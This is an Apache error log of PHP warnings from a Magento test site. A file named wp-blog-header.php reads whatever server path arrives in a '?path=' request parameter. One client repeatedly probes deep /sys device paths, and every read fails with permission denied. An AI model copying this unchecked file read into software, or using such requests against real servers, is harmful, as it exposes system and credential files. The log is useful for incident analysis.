[Thu Mar 26 11:03:34.455880 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/device:be/subsystem/devices/device:da
[Thu Mar 26 11:03:37.745154 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:03:39.274504 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/drivers/ac
[Thu Mar 26 11:03:40.415957 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:be
[Thu Mar 26 11:03:46.799704 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:03:50.015918 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/devices/device:fc
[Thu Mar 26 11:03:52.663086 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/device:ec/subsystem/drivers/ac
[Thu Mar 26 11:03:57.942460 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bd/device:be/subsystem/drivers/ec
[Thu Mar 26 11:03:59.101032 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:03:59.577688 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec
[Thu Mar 26 11:04:05.481109 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:aa
[Thu Mar 26 11:04:05.988271 2026] [php:warn] [pid 3107099] [client 74.7.241.26:59398] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/devices/device:ec
[Thu Mar 26 11:04:07.282569 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/devices/device:fc
[Thu Mar 26 11:04:10.468738 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/drivers/ec
[Thu Mar 26 11:04:12.076680 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
[Thu Mar 26 11:04:16.405350 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/subsystem/devices/device:de
[Thu Mar 26 11:04:16.920286 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/device:ee
[Thu Mar 26 11:04:18.456478 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/drivers/ac
[Thu Mar 26 11:04:20.629089 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:df/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:04:24.228526 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/drivers/ac
[Thu Mar 26 11:04:25.270324 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc
[Thu Mar 26 11:04:27.466010 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fa/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 11:04:29.621171 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 11:04:30.644303 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:04:31.693337 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/subsystem/devices/device:ca
[Thu Mar 26 11:04:40.693045 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:fe
[Thu Mar 26 11:04:44.433689 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/drivers/ac
[Thu Mar 26 11:04:46.548611 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:04:47.643246 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/subsystem/drivers/ec
[Thu Mar 26 11:04:51.292716 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:de
[Thu Mar 26 11:04:55.473107 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:04:57.073203 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/subsystem/devices/device:de
[Thu Mar 26 11:04:58.649311 2026] [php:warn] [pid 3106381] [client 74.7.241.26:57256] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce
[Thu Mar 26 11:05:04.193526 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/drivers/ec
[Thu Mar 26 11:05:12.900748 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bd/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 11:05:15.015480 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:da
[Thu Mar 26 11:05:15.561619 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ec
[Thu Mar 26 11:05:18.283579 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ab/device:ac/subsystem/devices/device:cc
[Thu Mar 26 11:05:21.041038 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:dd/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:dd/device:de
[Thu Mar 26 11:05:24.275378 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:ae
[Thu Mar 26 11:05:25.435305 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:aa
[Thu Mar 26 11:05:38.351090 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:dc
[Thu Mar 26 11:05:39.373349 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:05:40.986206 2026] [php:warn] [pid 3107099] [client 74.7.241.26:39412] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/drivers/ac
